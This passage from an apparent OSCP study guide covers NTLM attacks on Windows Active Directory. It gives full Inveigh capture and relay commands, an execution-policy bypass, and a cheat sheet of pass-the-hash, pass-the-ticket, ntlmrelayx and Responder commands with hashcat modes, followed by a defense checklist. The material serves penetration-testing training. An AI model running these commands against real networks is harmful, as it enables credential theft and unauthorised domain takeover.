Seconds | Statistics display interval |
-Proxy |
1 / 0 |
Enable/disable HTTP proxy mode |
-SMB2 |
1 / 0 |
Enable SMBv2 support |
-Challenge |
Hex string | Custom NTLM challenge |
-WebUtil |
1 / 0 |
Enable web utility server |
Inveigh Output and Hash Location
Inveigh displays captured hashes directly in the console. To save them:
# Captured hashes are displayed in the console output
# Format: username::domain:challenge:response:...
# To export captured data
Inveigh -Export
# Or redirect console output
Inveigh > inveigh_output.txt
Inveigh in Attack Scenarios
Scenario 1: Hash Capture from Windows Box
# You have shell access to a Windows machine in the target network
# Import and start Inveigh for hash capture
Import-Module .\Inveigh.ps1
Inveigh -Enable 1 -Capture 1 -Relay 0 -ConsoleOutput A
# Wait for victims to trigger LLMNR/NBT-NS queries
# Captured hashes appear in the console
Scenario 2: Relay from Windows to Domain Controller
# Relay captured authentication to the DC's LDAP service
Import-Module .\Inveigh.ps1
Inveigh -Enable 1 -Capture 0 -Relay 1 -RelayHost 10.10.10.1 -RelayPort 389 -RelayProtocol LDAP -LLMNR 1 -NBNS 1
# When a victim authenticates, Inveigh relays to LDAP
# If the victim has sufficient permissions, this can lead to domain escalation
Scenario 3: DNS Spoofing + Relay
# Use DNS spoofing to redirect victims to the attacker
Import-Module .\Inveigh.ps1
Inveigh -Enable 1 -Capture 1 -Relay 1 -RelayHost 10.10.10.10 -RelayPort 445 -DNS 1 -LLMNR 1 -NBNS 1 -MDNS 1
# Inveigh will respond to DNS queries for common internal hostnames
# and redirect them to the attacker's relay server
OSCP Exam Relevance
Medium Priority — Inveigh is useful when:
- You’re pivoting through a Windows machine and need NTLM poisoning capabilities
- Responder is not available (no Linux access)
- You need IPv6/mDNS poisoning support
Key exam tips:
- Inveigh-PS is the PowerShell module version — make sure you have the correct file
-Enable 1 -Capture 1 -Relay 0is the basic capture command- Inveigh runs entirely in PowerShell — no external dependencies needed
- Less commonly tested than Responder, but valuable as a Windows-native alternative
Lab Practice Suggestions
- Windows-native poisoning: Practice running Inveigh from a Windows machine to capture hashes from other Windows machines on the network
- Relay from Windows: Set up Inveigh relay from a compromised Windows box to a target SMB server
- IPv6/mDNS: Test Inveigh’s IPv6 and mDNS poisoning capabilities (features Responder doesn’t handle as well)
Common Pitfalls and Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
Inveigh command not found |
Module not imported | Run Import-Module .\Inveigh.ps1 first |
| PowerShell execution policy blocks import | Restricted execution policy | Use Set-ExecutionPolicy Bypass -Scope Process or run with -ExecutionPolicy Bypass |
| No hashes captured | No LLMNR/NBT-NS queries triggered | Manually trigger from victim machines or enable DNS spoofing |
| Relay fails | Target requires signing or authentication | Check target’s signing requirements; try a different target |
| Inveigh conflicts with Responder | Both responding to same queries | Use only one poisoner at a time on the same network segment |
NTLM Attacks: Quick Reference Cheat Sheet
Attack Selection Decision Tree
graph TD
A["What do you have?"] -->|"NTLM Hash"| B{"Target auth method?"}
A -->|"Kerberos Ticket"| C["Pass-the-Ticket"]
A -->|"Nothing (network access)"| D["Responder / Inveigh<br/>Capture or Relay"]
B -->|"NTLM accepted"| E["Pass-the-Hash"]
B -->|"Kerberos required"| F["Overpass-the-Hash"]
D -->|"Hash captured"| G["Crack with Hashcat<br/>(mode 5600 for NTLMv2)"]
D -->|"Relay in progress"| H["ntlmrelayx to target<br/>(SMB, LDAP, HTTP)"]
G -->|"Plaintext obtained"| I["Use credentials directly"]
G -->|"Hash remains"| E
Command Quick Reference
| Attack | Tool | Command |
|---|---|---|
| Pass-the-Hash | Mimikatz | sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH |
| Pass-the-Hash | Impacket | psexec.py -hashes :HASH DOMAIN/USER@TARGET |
| Pass-the-Hash | CrackMapExec | crackmapexec smb TARGET -u USER -H HASH -d DOMAIN |
| Pass-the-Ticket | Mimikatz | sekurlsa::tickets /export → kerberos::ptt file.kirbi |
| Pass-the-Ticket | Rubeus | Rubeus.exe triage → Rubeus.exe ptt /ticket:file.kirbi |
| Overpass-the-Hash | Mimikatz | kerberos::ask /user:USER /domain:DOMAIN /rc4:HASH |
| Overpass-the-Hash | Rubeus | Rubeus.exe asktgt /user:USER /rc4:HASH /domain:DOMAIN /ptt |
| NTLM Relay | ntlmrelayx | ntlmrelayx.py -t smb://TARGET -c "whoami" |
| NTLM Relay (LDAP) | ntlmrelayx | ntlmrelayx.py -t ldap://DC --escalate-user USER |
| Hash Capture | Responder | Responder -I eth0 -wrfA |
| Hash Capture | Inveigh | Inveigh -Enable 1 -Capture 1 -Relay 0 |
| Relay + Capture | Responder+ntlmrelayx | Responder -I eth0 -wrf -rdP + ntlmrelayx.py -t smb://TARGET |
| Find Relay Targets | CrackMapExec | crackmapexec smb SUBNET --gen-relay-list targets.txt |
Hash Cracking Modes
| Hash Type | Hashcat Mode | Responder Output File |
|---|---|---|
| NTLM (stored) | 1000 | From Mimikatz/LSASS dump |
| NTLMv2 (captured) | 5600 | Responder-NTLMv2-Captures.txt |
| NetNTLMv1 | 5500 | Legacy captures |
Defense Checklist
| Control | Implementation | Blocks |
|---|---|---|
| Disable LLMNR | GPO: Network interfaces → Configure LLMNR → Disable |
Responder, Inveigh, hash capture |
| Disable NBT-NS | GPO: Disable NetBIOS over TCP/IP | NBT-NS poisoning |
| Enable SMB Signing | GPO: Require signed communications | NTLM Relay to SMB |
| Enable LDAP Signing | GPO: LDAP server signing → Require | NTLM Relay to LDAP |
| Enable Channel Binding | GPO: Tokens-Only or Strict | NTLM Relay (advanced) |
| Restrict NTLM | GPO: Audit → Deny All NTLM Inbound | All NTLM-based attacks |
| LSA Protection | Registry: RunAsPPL = 1 |
Mimikatz, credential dumping |
| Credential Guard | VBs + Group Policy | All memory-based credential extraction |
Summary
NTLM attacks form a critical part of Active Directory exploitation. The key attacks covered in this topic are:
| Attack | What You Need | What You Get | Difficulty |
|---|---|---|---|
| Pass-the-Hash | NTLM hash | NTLM access to any service | Easy |
| Pass-the-Ticket | Kerberos ticket | Kerberos access to specific service | Easy |
| Overpass-the-Hash | NTLM hash | Kerberos TGT (full Kerberos access) | Easy |
| NTLM Relay | Network position + trigger | Access as the relayed user | Medium |
| NTLM Reflection | Multi-service target | Access via self-reflection | Hard |
| Responder Capture | Network access | NTLMv2 hashes for cracking | Easy |
| Inveigh Capture | Windows access | NTLMv2 hashes for cracking | Easy |
The golden rule of NTLM attacks: If you can obtain an NTLM hash, you can authenticate as that user to any NTLM-accepting service. If you can trigger an NTLM authentication, you can relay it to any unsigned service. The defense against NTLM attacks is comprehensive: disable NTLM where possible, enable signing everywhere, and eliminate the name resolution protocols (LLMNR/NBT-NS) that make poisoning possible.